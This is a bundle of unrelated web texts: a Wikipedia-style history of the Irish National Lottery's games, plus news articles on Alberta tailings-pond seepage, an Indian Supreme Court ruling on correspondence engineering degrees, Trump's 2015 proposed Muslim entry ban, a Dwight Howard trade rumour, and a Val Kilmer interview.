onwards  Lotto [ edit ]  Lotto, which began in March 1988, is the National Lottery's flagship drawing game. It is currently a 6/47 lottery with an additional "bonus ball." Its starting jackpot is a guaranteed €2 million, which rolls over until it is won. The minimum play in Lotto has always been two lines of six numbers each. At Lotto's current cost of €2 per line, a Lotto ticket costs a minimum of €4. Lotto has produced two spinoff games, Lotto 5-4-3-2-1, which began in 1997, and Lotto Plus, which began in 2000.[14]  The largest ever Lotto jackpot of €18.9 million was won on 28 June 2008 by a syndicate of 16 colleagues at a quarry and concrete plant in Bennekerry, Carlow.[15]  Sales of Lotto fell from €379.1 million in 2011 to €339.7 million in 2012. The National Lottery said that this reflected lower jackpot levels during the year.[13]  History of Lotto [ edit ]  The first Lotto drawing was held on Saturday, 16 April 1988. In its original 6/36 format, six numbered balls were drawn from a lottery machine containing 36 balls. Players could win a share of a guaranteed £250,000 jackpot by matching all six numbers, or win smaller prizes by matching four or five numbers. If no winning ticket was sold, the jackpot rolled over for the next draw. Drawings continued each Saturday night until 30 May 1990, when the National Lottery introduced a midweek Lotto draw on Wednesday nights. Lotto draws have been held twice weekly since that time. The Lotto for Saturday if Christmas Day is falling on Saturday transferred to Christmas Eve, Friday or Wednesday draw to Tuesday (1991-2002) or Thursday in 2013.  In a 6/36 lottery, the odds of matching all six numbers and winning the jackpot are 1 in 1,947,792. At Lotto's initial cost of £0.50 per line, all possible combinations could be purchased for £973,896. This left Lotto vulnerable to a brute force attack, which happened when the jackpot reached £1.7 million for the May 1992 bank holiday drawing. A 28-member Dublin-based syndicate, organized and headed by Polish-Irish businessman Stefan Klincewicz, had spent six months preparing by marking combinations on almost a quarter of a million paper playslips. In the days before the drawing they tried to buy up all possible combinations and thus win all possible prizes, including the jackpot.[16]  The National Lottery tried to foil Klincewicz's plan by limiting the number of tickets any single machine could sell, and by turning off the terminals his ticket purchasers were known to be using heavily. Despite its efforts, the syndicate did manage to buy over 80 percent of the combinations, spending an estimated £820,000 on tickets. It had the winning numbers on the night, but two other winning tickets were also sold, so the syndicate could claim only one-third of the jackpot, or £568,682. Match-5 and match-4 prizes brought the syndicate's total winnings to approximately £1,166,000, representing a profit of approximately £310,000 before expenses. Klincewicz later appeared on the television talk show Kenny Live and wrote a self-published lottery-system book entitled Win the Lotto.  To prevent such a brute force attack from happening again, the National Lottery changed Lotto to a 6/39 game later in 1992, raising the jackpot odds to 1 in 3,262,623. The first Lotto 6/39 drawing was held on 22 August 1992. To compensate for the longer jackpot odds, the National Lottery doubled the starting jackpot to and added a "bonus number" to the drawings. Whereas players previously needed either a match-6, match-5, or match-4 to win, prizes were now also awarded for match-5+bonus, match-4+bonus, and match-3+bonus.  The National Lottery's corporate logo from the late 1990s– 2008. The original 1987 logo was similar, but with the text "National Lottery" in a serif font however (with the word "National" in mixed case), and the boxes were not rounded. [1]  Lotto became a 6/42 game on 24 September 1994, which made the jackpot odds 1 in 5,245,786. The National Lottery made this change to generate bigger rollover jackpots, partly so that people living near the border with Northern Ireland would not abandon Lotto when the 6/49 British National Lottery began operations on 14 November 1994. At the same time, the National Lottery introduced computer-generated "quick picks" as an alternative to marking numbers on paper playslips. Some retailers now only offer the quick-pick option.  For draws beginning on 26 September 1998, the National Lottery increased the cost of a line of Lotto from £0.50 to £0.75. At this time it also doubled the game's starting jackpot to £1 million and increased most of the game's smaller prizes by 50 percent.  With the introduction of the euro currency on 1 January 2002, the cost of a line of Lotto became €0.95, and the starting jackpot became €1.269 million (the euro equivalent of £1 million). For draws beginning 1 September 2002, the price of Lotto was rounded to €1 per line, and the starting jackpot was raised slightly to €1.35 million.  Core Lotto sales had declined steadily for six consecutive years up to 2006, falling from €314.9 million in 2000 to €255.1 million in 2006. Falling sales partly reflected public dissatisfaction with the game during the Celtic Tiger economic boom. As property prices and the cost of living escalated rapidly, particularly in Dublin, a €1.35 million starting jackpot was no longer seen as offering the transformed lifestyle promoted in lottery advertising.[17] In November 2006, the National Lottery changed Lotto to a 6/45 game to create bigger jackpots and combat falling ticket sales. It made the starting jackpot a guaranteed €2 million, increased the match-5+bonus prize from €12,000 to €25,000, introduced a match-3 prize of €5, and increased the price of a line of Lotto from €1 to €1.50. The company said that the structural changes were designed to produce about twenty Lotto jackpots of €5 million and over each year, and at least one jackpot over €10 million. The first 6/45 draw was held on 4 November 2006.  The odds of winning (in a 6/45 lottery) the Lotto jackpot are 1 in 8,145,060. The odds of getting a match-5+bonus are 1 in 1,357,510; the odds of a match-5 are 1 in 1,221,759; the odds of a match 4+bonus are 1 in 14,290; the odds of a match-4 are 1 in 148,995; the odds of a match-3+bonus are 1 in 579; and the odds of a match-3 are 1 in 14,190.  The Wednesday night Lotto draw on 4 February 2015 was postponed until the following night due to a technical problem with ticket machines. This marked the first time in Lotto history that a drawing was postponed.[18][19].  As of September 3, 2015, the cost of buying two lines increased from €3 to €4 and players must now choose from 47 instead of 45 numbers, lengthening the odds of winning the jackpot to almost 11 million (approximately 10.7 million) to one.[20][21] The odds against winning the second prize have increased also, but so too has the prize value, from €25,000 to an estimated €100,000.[22] There will also be a new prize for matching 2 balls and the bonus ball.  The current odds of winning (in a 6/47 lottery) are: Jackpot - 1 in 10,737,573; match 5 - 1 in 1,533,939; match 4 - 1 in 178,365; match 3 - 1 in 16,215.  Lotto Plus [ edit ]  In 2000, the National Lottery introduced Lotto Plus as an add-on to the main Lotto game. For an extra £0.25 per line, players could enter their Lotto numbers in an additional 6/42 drawing for a fixed, non-rolling jackpot of £250,000. The first Lotto Plus drawing took place on 25 October 2000.  In 2002, the National Lottery added a second Lotto Plus drawing, renamed the drawings Lotto Plus 1 and Lotto Plus 2, and raised the cost of Lotto Plus to €0.50 per line. The jackpots were fixed at €300,000 and €200,000 respectively. The first drawings for Lotto Plus 1 and Lotto Plus 2 took place on 1 September 2002.  In November 2006, when Lotto adopted a 6/45 matrix, the National Lottery raised the Lotto Plus 1 and Lotto Plus 2 jackpots to €350,000 and €250,000 respectively. The cost of Lotto Plus remained at €0.50 per line.  In September 2015, following the increase of two extra balls in the machine, the top prize of Lotto Plus 1 was doubled to €500,000.  A Lotto Plus raffle was also introduced. Every player that matches the 4 digit raffle number wins €300.  As with the main Lotto game, Lotto Plus players can win smaller cash prizes for match-5+bonus, match-5, match-4+bonus, match-4, and match-3+bonus. The odds of winning these prizes are the same as for the main Lotto game.  On 30th August 2018, Lotto Plus was enhanced with the first price rise in 18 years now costing €1 per line to enter. The top prize on Lotto Plus 1 was doubled to €1 million and the raffle prize was increased to €500, with special €1 million raffle draws taking place at special points throughout the year. They offered free Daily Million quick picks for matching 2 main numbers plus the bonus ball. This meant that the odds were better at 1 in 10 at winning a prize.  Over 90 percent of Lotto players play Lotto Plus. Sales of Lotto Plus in 2012 were €74.3 million.[13]  Lotto 5-4-3-2-1 logo in use from 2008 onwards  Lotto 5-4-3-2-1 [ edit ]  Based around the main Lotto draw, Lotto 5-4-3-2-1 was introduced in February 1997. It allows players to win prizes by correctly matching one, two, three, four, or five of the drawn numbers. The more numbers players try to match, the greater the prize. Players may base their choices either on a six-number game (excluding the bonus number) or on a seven-number game (including the bonus number). Lotto 5-4-3-2-1 accounted for €13.1 million in sales in 2012.[13]  EuroMillions [ edit ]  Euromillions logo in use from 2008 onwards.  The National Lottery joined the transnational EuroMillions lottery on 8 October 2004. As of 2012, EuroMillions accounts for 24 percent of National Lottery sales. Several EuroMillions jackpots have been won or shared in Ireland:  On 31 July 2005, Dolores McNamara, a part-time cleaning lady from Limerick, won a EuroMillions jackpot of €115 million, which at the time was the largest lottery prize ever won in Europe. [23]  On 17 November 2006, two Irish winners each received a 5 percent share of an unwon €183 million jackpot when it was divided under the draw's 12-week rollover rule among all twenty tickets bearing five numbers and one lucky star. The winners received €9.6 million each. One winning ticket was purchased in Foynes, County Limerick and the other in Millstreet, County Cork. [24]  On 4 July 2008, a couple who chose to remain anonymous won a EuroMillions jackpot of €15 million on a €9 quick-pick ticket purchased in Carrick-on-Suir, County Tipperary. [25]  On 12 June 2009, a jackpot of €58.8 million was divided among two winning tickets, worth €29.4 million each. One of the tickets, a €6 quick-pick, was sold in Newcastle, County Dublin. The winning family chose to remain anonymous. [26]  On 29 January 2016, a jackpot of €132,376,632 was split amongst two winners, one in Ireland and one in France, each getting €66,188,316. There is no information about the winner currently.  Irish sales of EuroMillions were €131.5 million in 2012, a 3.2 percent increase on the previous year.[13]  Plus [ edit ]  In June 2007, the National Lottery introduced "Plus," an add-on to the main EuroMillions game available only to Irish players. For an extra €1 per line, players can enter their five main EuroMillions numbers in an additional draw for a fixed, non-rolling prize of €500,000. Players can also win fixed prizes of €2,000 for a match-4 and €20 for a match-3. The first Plus drawing was held on 15 June 2007. 76 percent of EuroMillions players now play Plus.[13]  Sales of Plus were €44.6 million in 2012, an increase of 3.7 percent over the previous year.[13]  Daily Million [ edit ]  In September 2012, the National Lottery introduced Daily Million to replace both Monday Million (a draw game with prizes up to €1 million, held once weekly on Monday nights) and All Or Nothing (a daily draw game with prizes up to €500,000). A 6/39 weekly lottery drawing with a fixed, non-rolling jackpot of €1 million, Daily Million takes place every day of the week, including weekends and bank holidays. It costs €1 per line to play. For an extra €0.50 per line, players can play Daily Million Plus for a top prize of €500,000. The Daily Million/Daily Million Plus draws take place twice a day, every day (2pm and 9pm) at the National Lottery Headquarters under the supervision of Independent observers and National Lottery draw personnel[27]. For some undisclosed reasons the National Lottery does not allow Daily Million Draws to be viewed by the public or streamed online.  All or Nothing [ edit ]  Introduced in October 2009, All or Nothing is the National Lottery's first daily draw game. Players choose 12 numbers from 24; if they get all the numbers correct, or none of the numbers correct, they win €500,000—a 1 in 1,352,078 chance of victory. The game has additional prizes of €5,000 for Match 11, €25 for Match 10, €10 for Match 9, and €4 for Match 8. Tickets cost €2 per line. The numbers are announced on RTÉ Two each night and also displayed through an animated draw on the Lottery website. The game had generated sales of €3.4 million by the end of 2009.  Millionaire Raffle [ edit ]  In the summer of 2008, the National Lottery ran its first Millionaire Raffle. These special, limited edition raffles have been held several times a year since then. Two Millionaire Raffle draws were held in 2011 and three in 2012.[13] For the Easter 2013 Millionaire Raffle, 200,000 tickets were available, costing €20 each. The raffle had a top prize of €1 million, a second prize of €250,000, and two third prizes of €100,000. Players could also win a range of smaller prizes ranging from €10,000 to €250. In 2016 this was increased to 500,000 tickets, still costing €20 each then increased to €25 a ticket in 2017 with a similar breakdown of prizes. Professional footballer Kevin O'Connor won the 2017 Christmas Millionaire Raffle.[28]  Telly Bingo [ edit ]  The National Lottery introduced Telly Bingo in September 1999. Players buy tickets with 24 randomly generated numbers, and can win prizes by matching the numbers drawn on a lunchtime TV show in a variety of patterns, with a prize of €10,000 for a full house. An additional €10,000 Snowball prize goes to someone who achieves a full house on or before the 45th number drawn. If not won, the Snowball prize rolls over to the next draw, allowing one additional number each time. In 2012, Telly Bingo sales were €17.3 million.[13]  Scratchcard Games [ edit ]  The National Lottery had a total of 30 scratchcard games on offer during 2012, ranging in price from €1 to €10, and offering instant cash prizes from €2 to €100,000. Sales of instant scratchcard games rose 3.2 percent to €163.5 million in 2012.[13]  Game shows [ edit ]  The National Lottery funds the prize money for two televised game shows. Contestants gain entry to the shows by getting three "lucky stars" on associated scratchcards and submitting them in special envelopes for televised drawings. Broadcast on Saturday nights on RTÉ One since 1990, the game shows have proven very popular, often featuring among the channel's top-rated programmes.  The National Lottery's flagship game show Winning Streak debuted in 1990 and screens weekly between September and early June. A summer companion programme Fame & Fortune was launched in 1996 and ran through the months of June, July, and August until 2007. It was replaced in 2007 by The Trump Card, which was replaced in turn by The Big Money Game, which was replaced by The Million Euro Challenge.  References in other media [ edit ]  In the 1990s, RTÉ produced a sitcom called Upwardly Mobile about a working-class family who won the Lotto and moved to an upper-middle-class area. It ran for three seasons between 1995 and 1997.  Waking Ned (known as Waking Ned Devine in North America) is a comedy film set in a tiny rural village, based on a fictitious winner of the Lotto.
-This article originally appeared on DeSmog Canada.  According to an internal memorandum obtained by Postmedia's Mike De Souza, the tailings ponds holding billions of litres of tar sands waste are leaking into Alberta's groundwater.  The document, released through Access to Information legislation, confirms groundwater toxins related to bitumen mining and upgrading are seeping from tailings ponds and are not naturally occurring as government and industry have previously stated.  "The studies have, for the first time, detected potentially harmful, mining-related organic acid contaminants in groundwater outside a long-established out-of-pit tailings pond," the memo reads. "This finding is consistent with publicly available technical reports of seepage (both projected in theory, and detected in practice)."  This newly released document shows the federal government has been aware of the problem since June 2012, without publicly addressing the information. The study, made available online by Natural Resources Canada in December 2012, was still "pending release" at the time Minister Oliver was briefed of its contents in June.  The study in question, co-authored by 19 scientists from both provincial and federal bodies including Natural Resources Canada, Environment Canada, the Geological Survey of Canada, was designed to distinguish naturally-occurring chemical substances from mining-related contaminants.  Canadian Association of Petroleum Producers (CAPP) spokesman Travis Davies told Postmedia's De Souza the study's evidence of chemical seepage into groundwater did not come as a surprise.  "Their study isn't new in any way other than perhaps the laboratory methods and detection limits," Davies said.
-NEW DELHI: In a major setback to thousands of students who pursued engineering studies through correspondence courses offered by deemed universities in the last 16 years, the Supreme Court declared on Friday that the degrees were invalid, putting them at risk of losing jobs obtained on the basis of the certificates.A bench of Justices A K Goel and U U Lalit noted that the University Grants Commission (UGC) and the All India Council for Technical Education (AICTE) did not approve distance learning programmes in engineering studies and the approval granted by the Distance Education Council (DEC) for such courses was illegal.The SC decision exposes the extent to which the regulatory system was compromised as the courses were being run for more than a decade and a half without attracting serious scrutiny.The apex court directed the Centre to create an oversight mechanism to regulate deemed universities, saying that UGC completely failed to curb the commercialisation of education. It asked the government to review the deemed university status of various institutions.The court adjudicated a bunch of petitions on the validity of correspondence courses of four deemed universities — JRN Rajasthan Vidyapeeth, Institute of Advanced Studies in Education in Rajasthan, Allahabad Agricultural Institute and Vinayaka Mission’s Research Foundation in Tamil Nadu — which have been providing engineering education through correspondence since 2001 despite AICTE disapproval.The apex court restrained all deemed universities from offering correspondence courses without the approval of the AICTE and directed a CBI probe against officials who permitted the universities to run the programmes from 2001.The court passed the order after UGC’s counsel and ASG Maninder Singh and AICTE advocate Anil Soni informed the court that distance learning courses in engineering were not permitted.Holding the degree issued by universities invalid, the court, however, opened a small window for students who took admission between 2001 and 2005 to revive their degree by undergoing a fresh examination by AICTE. It said they should be given another chance as they pursued the course under the impression that the course is valid in the light of DEC’s approval.But the court had no sympathy for the students of the post-2005 batches as they were aware that the courses lacked sanction.“AICTE shall devise the modalities to conduct an appropriate test. Students (from 2001-05 batches) be given not more than two chances to clear the test and if they do not successfully clear the test within the stipulated time, their degrees shall stand cancelled,” the bench said suspending their degrees.“In respect of students admitted after the academic sessions of 2001-2005, the degrees in engineering awarded by the concerned deemed to be universities through distance education mode shall stand recalled and be treated as cancelled. Any benefit which a candidate has secured as a result of such degrees in engineering in the nature of promotion or advancement in career shall also stand recalled.However, if any monetary benefit was derived by such candidates, that ... will not be recovered by the concerned departments or employers,” it said and directed the universities to refund the money to students.“We restrain all deemed to be universities to carry on any courses in distance education mode from the academic session 2018-19 unless it is permissible to conduct such courses in distance education mode and specific permissions are granted by the concerned statutory/regulatory authorities,” the bench said.
-Video  Donald J. Trump called on Monday for the United States to bar all Muslims from entering the country until the nation’s leaders can “figure out what is going on” after the terrorist attacks in San Bernardino, Calif., an extraordinary escalation of rhetoric aimed at voters’ fears about members of the Islamic faith.  A prohibition of Muslims – an unprecedented proposal by a leading American presidential candidate, and an idea more typically associated with hate groups – reflects a progression of mistrust that is rooted in ideology as much as politics.  Mr. Trump, who in September declared “I love the Muslims,” turned sharply against them after the Paris terrorist attacks, calling for a database to track Muslims in America and repeating discredited rumors that thousands of Muslims celebrated in New Jersey on 9/11. His poll numbers rose largely as a result, until a setback in Iowa on Monday morning. Hours later Mr. Trump called for the ban, fitting his pattern of making stunning comments when his lead in the Republican presidential field appears in jeopardy.  Saying that “hatred” among many Muslims for Americans is “beyond comprehension,” Mr. Trump said in a statement that the United States needed to confront “where this hatred comes from and why.”  “Until we are able to determine and understand this problem and the dangerous threat it poses, our country cannot be the victims of horrendous attacks by people that believe only in jihad, and have no sense of reason or respect for human life,” Mr. Trump said.  Asked what prompted his statement, Mr. Trump said, “death,” according to a spokeswoman.  Repudiation of Mr. Trump’s remarks was swift and severe among religious groups and politicians from both parties. Mr. Trump is “unhinged,” said one Republican rival, former Gov. Jeb Bush of Florida, while another, Senator Marco Rubio of Florida, called the ban “offensive and outlandish.” Hillary Clinton said the idea was “reprehensible, prejudiced and divisive.” Organizations representing Jews, Christians and those of other faiths quickly joined Muslims in denouncing Mr. Trump’s proposal.  “Rooting our nation’s immigration policy in religious bigotry and discrimination will not make America great again,” said Rabbi Jack Moline, executive director of Interfaith Alliance, putting a twist on Mr. Trump’s campaign slogan.  Mr. Trump made his remarks a day after President Obama delivered a national address from the Oval Office urging Americans not to turn against Muslims in the wake of the terrorist attacks.  Experts on immigration law and policy expressed shock at the proposal Monday afternoon.  “This is just so antithetical to the history of the United States,” said Nancy Morawetz, a professor of clinical law at New York University School of Law, who specializes in immigration. “It’s unbelievable to have a religious test for admission into the country.”  She added: “I cannot recall any historical precedent for denying immigration based on religion.”  Putting the policy into practice would require an unlikely act of Congress, said Stephen Yale-Loehr, a professor of law at Cornell and a prominent authority on immigration.  Should Congress enact such a law, he predicted, the Supreme Court would invalidate it as an overly restrictive immigration policy under the equal protection clause of the 14th Amendment.  “It would certainly be challenged as unconstitutional,” he said. “And I predict the Supreme Court would strike it down.”  Mr. Trump has a track record of making surprising and even extreme comments whenever he is overtaken in opinion polls by other Republican candidates – as happened on Monday just hours before he issued his statement about Muslims. A new Monmouth University survey of likely Iowa Republican caucus-goers found that Mr. Trump had slipped from his recent top spot in the state, which holds the first presidential nomination contest on Feb. 1. According to the poll, Senator Ted Cruz of Texas earned 24 percent of support, while Mr. Trump had 19 percent and Senator Marco Rubio of Florida had 17 percent. But another Iowa poll released on Monday, by CNN/OCR, showed Mr. Trump with a comfortable lead but Mr. Cruz gaining ground on him.  Mr. Trump, who boasts about his strong poll numbers at the beginning of virtually every campaign speech, launched an unusually stinging attack against Ben Carson, another Republican candidate, when Mr. Carson took a lead in Iowa polls this fall; Mr. Trump, citing Mr. Carson’s memoir about his sometimes-violent youth, called him “pathological” and compared his state of mind to a child molester’s.  Several Republican strategists and politicians said they believe that Mr. Trump’s maneuver against Muslims was partly a challenge to Mr. Cruz and other Republicans to stake out positions on terrorism that were as audacious as his own. But they also said that the ban reflected anxiety and anger among many voters that the federal government was not acting aggressively enough to protect them at home.  “I think Trump’s idea may be too strong, but I think something jarring is very helpful in leading to a national debate in how big this problem is, and how dangerous it is,” said Newt Gingrich, a former Republican speaker of the House who ran for president in 2012. “Nine percent of Pakistanis agree with ISIS, according to one poll. That’s a huge number. We need to put all the burden of proof on people coming from those countries to show that they are not a danger to us.”  Tens of thousands of Muslims enter and stay in the United States each year as tourists or through the immigration system, experts say, with an estimated 100,000 Muslims becoming United States permanent residents in 2012, according to the Pew Research Center. The United States issued 680,000 green cards to migrants from Muslim-majority countries in the five-year period from fiscal year 2009 through fiscal year 2013, according to the Senate Judiciary Committee’s Subcommittee on Immigration and the National Interest, which cited data from the Department of Homeland Security.  At a rally at the U.S.S. Yorktown in South Carolina on Monday night, Mr. Trump drew sustained cheers from the audience as he outlined his idea for the ban.  “We have no choice,” Mr. Trump said. “Our country cannot be the victim of tremendous attacks by people who believe only in jihad.”  While several Republican presidential candidates have called for increased intelligence gathering and more aggressive investigations of suspected terrorists, as well as a halt to Muslim refugees entering the United States from Syria, Mr. Trump’s pointed suspicions about Muslims have been in a category by themselves.  At his campaign rallies, he has drawn strong applause from thousands of voters for his calls on the government to monitor mosques, and he has refused to rule out his earlier proposal to enter names of Muslims in America into a database. He has also made a series of ominous comments about President Obama’s leadership in fighting terrorism, suggesting that there was “something going on” with Mr. Obama that Americans were not aware of.  In his statement, Mr. Trump quoted a poll by the Center for Security Policy, whose president and founder, Frank Gaffney, has claimed that President Obama is aligned with the Muslim Brotherhood, an extremist political movement born in Egypt, and that agents of the Muslim Brotherhood have infiltrated the U.S. government, the Republican Party and conservative political organizations.  Barring non-citizen Muslims from the United States has drawn support from organizations like the Society of Americans for National Existence and the Daily Stormer, which the Southern Poverty Law Center has described as hate groups.  The proposal drew immediate condemnation from Muslim-Americans. Eboo Patel, the president of Interfaith Youth Core, based in Chicago, said, “I’m standing in a building right now where I am looking up at the Sears Tower, which was designed by Fazlur Rahman Khan,” a structural engineer originally from Bangladesh who was behind what is now known as the Willis Tower.  “What if we had barred Russians from America because of the Cold War? Who would have invented Google?” Mr. Patel asked, referring to Google’s co-founder, Sergey Brin.  While many critics of Mr. Trump reassured themselves that neither he nor his idea would ultimately go anywhere, they were aghast that a mainstream presidential candidate would ever utter it.  “It would be particularly bizarre,” said Ms. Morawetz, “to have an immigration test based on religion given that the country was founded by people who were fleeing religious persecution.”  Donald Trump’s Republican Rivals Condemn His Call to Bar Muslims From Entering U.S. Donald J. Trump’s call to bar Muslims from entering the United States has drawn swift condemnation from his Republican rivals for the nomination, raising the question of whether the billionaire businessman has finally gone too far.  95,000 Words, Many of Them Ominous, From Donald Trump’s Tongue An analysis of 95,000 words Mr. Trump said in public in the past week reveals powerful patterns in his speech which, historians say, echo the appeals of demagogues of the past century.  Laurie Goodstein and Thomas Kaplan contributed reporting.
-Chris Trotman/Getty Images  Here we go again—another rumor regarding Dwight Howard. Apparently, the Magic are considering the possibility of a three-way deal with the Lakers and Cavaliers.  The Lakers, Magic & Cavaliers are discussing three-team deal that may send Dwight Howard to LA and Andrew Bynum to CLE: tinyurl.com/7mwggu6 — Alex Kennedy (@AlexKennedyNBA) July 14, 2012  This would basically be the same parameters of the three-way trade involving Houston, LA and Orlando. In this scenario, LA would receive Dwight Howard while Cleveland receives Andrew Bynum. Orlando would receive a package of draft picks and players.  This trade proposal makes sense.  LA gets the player that they want. Cleveland would get an All-Star center who would really complement Kyrie Irving. According to Adrian Wojnarowski of Yahoo! Sports, Bynum would be interested in going to Cleveland as a free agent in 2013. The Cavaliers would be getting a much better player than the previous deal. Orlando could take players (Tristan Thompson, Dion Waiters) and picks and let the other teams take back some other contracts.  There could be a hitch to this—Dan Gilbert.  He went off about superteams being formed. If this trade is made, a big superteam is made in LA. However, this trade would give him a young-duo nucleus for years.  For now, the proposal is in infancy. We'll see if this has legs in the days to come.
-Actor Val Kilmer's once illustrious career has grown dim in the past decade. But over tea at the Viceroy Hotel on an overcast Santa Monica afternoon, the blond and now slimmed-down actor revealed a light within him that is growing brighter and brighter by the day. In speaking about his newest project, Kilmer confessed, "hopefully I will be redeemed for all the years of people saying nasty or naughty things about me."  Not many people can see the similarities between author Mark Twain, a professional satirist, and Mary Baker Eddy, the founder of Christian Science and a professed faith healer. The pair never met in person, and the famed American author was perhaps Eddy's most public critic, saying that the woman possessed a "crooked" character and was the founder of a "cult."  But Val Kilmer thinks that the antagonistic pair are cut from the same cloth. Twain "got to his insights by being an anti-religionist, if you will. But he never stopped studying." As for Eddy, "she too was a rebel. She rebelled against her own religion and she said of herself, 'My entire life I've been a heart wholly in protest.'"  For the past seven years, Kilmer has buried himself in the lives of Twain and Eddy, hoping to not only bring to light a fascinating and historically contentious relationship, but also to perhaps absolve himself of some spiritual burden. "It's very much like 'Amadeus.' It's a dual biography. I'm regretting that now, because it's really hard to do," Kilmer told The Huffington Post.  Just one week before the one-man show opens at the Hollywood Forever Cemetery, Kilmer, who is known for his roles in "The Doors," "Batman Forever," "The Saint," and "Heat," proved magnetic and acutely intelligent in person, and his fascination with Twain practically dripped from his very pores. "Twain's concept of autobiography was 'Don’t you want to know how I think? Whatever pops into my head is who I am.' I'm trying to give you a feeling about his soul and his spirit."  But no good story is without scandal. And because Kilmer is writing, directing and starring in this project, he has all of the creative freedom in the world. "At the heart of a lot of Twain's slander of Mrs. Eddy was shoddy journalism. He acknowledged it privately but never did publicly," explained Kilmer. "I think he was just jealous. That’s what his daughter said."  For tickets and information about the eight showings of Kilmer's "Citizen Twain," click here.  HuffPost: Where were you in your life when you decided to take this on?  Val Kilmer: I got to a place in my career where I wasn't getting scripts. I was getting sort of action stuff with "Batman" and "The Saint," and it's easy then to secure your position as only that if you do two or three more. I don't think I ever secured my position as a star by Hollywood's standards.  HP: Was that intentional?  VK: No. It would have been nice to have bags of dough. My career is very strange unless you put in the timeline the fact that I never had a business objective. I always had very singular aims as an actor to get better at my job. But it also got me into trouble.  One time I was involved in a movie and we had no second act. It was a gigantic budget and I kept mentioning it more and more loudly – "we have no second act." And I didn’t listen to my agent, who told me to stop. And he was right. I made a mistake. But I'm not embarrassed by how hard I tried to make the movie good. I wasn’t involved in a dynamic way about being a movie star. I was trying to be good in the role.  HP: How much freedom do you feel now that you're writing and starring in this project? You're making all the decisions.  VK: I am so much more the boss that I want to be. Right now I'm doing everything. I like my ideas about directing, and I am directing the one-man show. If you just imagine how silly it sounds, "I'm directing myself in a one-man show that I wrote." And then I try to do it and just fall down and cry.  HP: So how does it work? How does one do that?  VK: You have to video everything because you can't really know what you're doing. And then I listen to it all day long, so I've really turned into Rupert Pupkin in my basement laughing at my own jokes.  HP: Do you enjoy the process of writing?  VK: Before I let Twain out of the box I had him in, it really was hard. Now he's a giant irritant. When I was writing the movie, he just wouldn't shut up. And Mrs. Eddy, I think she would describe herself in this way – relentless.  HP: Who are some of your favorite writers?  VK: Shakespeare comes to mind. Just the ability to make jokes all through Macbeth. He was a genius with irony. I love James Joyce. And Twain's okay [laughs].  HP: Did Twain consider himself an artist?  VK: I think he would make a really funny joke about it. I don’t think Twain was intellectual about being brilliant.  HP: And were you good in school?  VK: No. And my son is 16, about to be 40. He's Huck Finn. He's tells me "Dad, I just can't do school." My daughter is 20 and loves learning, but she's a bossy-boots. She is a hellion. She's right a lot of the time.  I'm going to Missouri soon, and I can't say this without covering my face, but I'm getting an honorary doctorate. My brother is a doctor, he's a psychologist. And like a schmo, I called him up thinking he would be thrilled. But there was kind of a long pause and he said, "That's nice." I mean, seven years he's got to sweat for this and I goof around and fly around the world talking to funny, beautiful people and they give me a doctorate. He wasn’t that excited about it. I said, "I'll always tell people it's not real!"  HP: What was Twain's family like?  VK: One of the saddest things I've written into the play is when Twain says, "I never made my father laugh, not once." And it's true. He never made him smile. The first time he saw his dad touch someone was his dead brother. These guys were stoic.  HP: What do you personally connect with the most about Mark Twain?  VK: My little brother had epilepsy and so did Twain's daughter. They died the same way – drowned. I just added that to the play today.  I want to tell stories. And I'm very lucky, I got enough success - until I kept buying my neighbor's ranches in New Mexico, but that’s another part of my odd bunch of movies in the past five years. I was just paying rent. I decided I'm going to sacrifice the integrity of my career for the integrity of this land for my kids. It was from here to Malibu - that was the size of it. 6 miles. So I got a little carried away there [laughs]! And now I'm back.  On a personal level, because I spent so many years trying to keep it and ultimately not being able to, I have a lot of kinship with Twain, who lost his home. I don’t think I lost everything. I wasn’t ruined, I can still get a job, I got to keep what feels like a patio, but it's 140 acres. It's not nothing. It’s pretty great. A lovely view.  HP: Are you an LA transplant or a native Angeleno?  VK: Native Angeleno. But I don’t talk like I'm from Los Angeles, because I went to Juilliard and had it beaten out of me, by people with accents even though they were American. "Lie down on the floor now…" I was terribly abused there [laughs].  HP: What was growing up in Los Angeles like?  VK: I was raised in this traffic. It's all encompassing. I grew up grieving about LA. You see, I had some odd, instinctual feeling about the place – it's probably because my dad grew up in real wilderness. That’s where my affinity for New Mexico comes in.  I had this feeling that LA was off. And it is. "There is no there there," as Gertrude Stein said. There's no truer sentence about LA. When you get to downtown, it feels like the center is over there. You're never right there.  But we lived out in Chatsworth with wildlife all over the place, mountain lions and deer. It is the end of LA, literally. Our neighbors were the Mansons. Shorty, the one with the foot-long knife, used to give us rides occasionally. I have real weird LA cred. Another ranch my dad bought was Will Rogers' ranch. So we have both ends of the LA spectrum.  HP: And you live in Malibu now?  VK: Yes, and I can't say that without making a funny face. I have the right address, I bought the right car, I'm back! I'm wearing a Gucci jacket. I've got to get my hair cut. Of all the people who helped me love LA, it was Jim Morrison. He loved it! I was always asking all of his friends why?  What Jim Morrison loved about LA was the diversity. It's a shame he got addicted so early. Because he probably would have made a really good director. I think he had a great American novel in him. He used to drive around with his friend and look at all the great houses in the Bird streets. I just started doing it recently.  HP: Do you have a meal that will always remind of you LA?  VK: I'm trying to think of all the things I can no longer eat. I haven’t had a Pink's hot dog in awhile. But I remember them from when I was three years old. Pink's was there, with the line.  HP: Do you stay out in Malibu usually?  VK: Yes, it's nice there. This morning there was a seal lying on his back just clapping. For minutes and minutes. And its little face would pop out of the water, it was just so goofy. I have no idea what it was doing. I must find out from a marine biologist.  HP: You've chosen an iconic Los Angeles venue for your one-man show: The Hollywood Forever Cemetery. How did you decide on it?  VK: There aren't a lot of places in the country that have big white signs - like the HOLLYWOOD sign - that mean nothing. We're just celebrating ourselves. It's truly just an idea; there's nothing there on that hillside. That Hollywood sign is so much better than Hollywood and Vine.  So the idea of the cemetery is that it actually delivers. There's a beautiful feeling in there and there's just something silly and poetic about it. Like calling the one-man show "Citizen Twain." It's not even my favorite title, I just keep renaming it.  HP: What were some of the other names?  VK: "Validation." See, now that's silly.
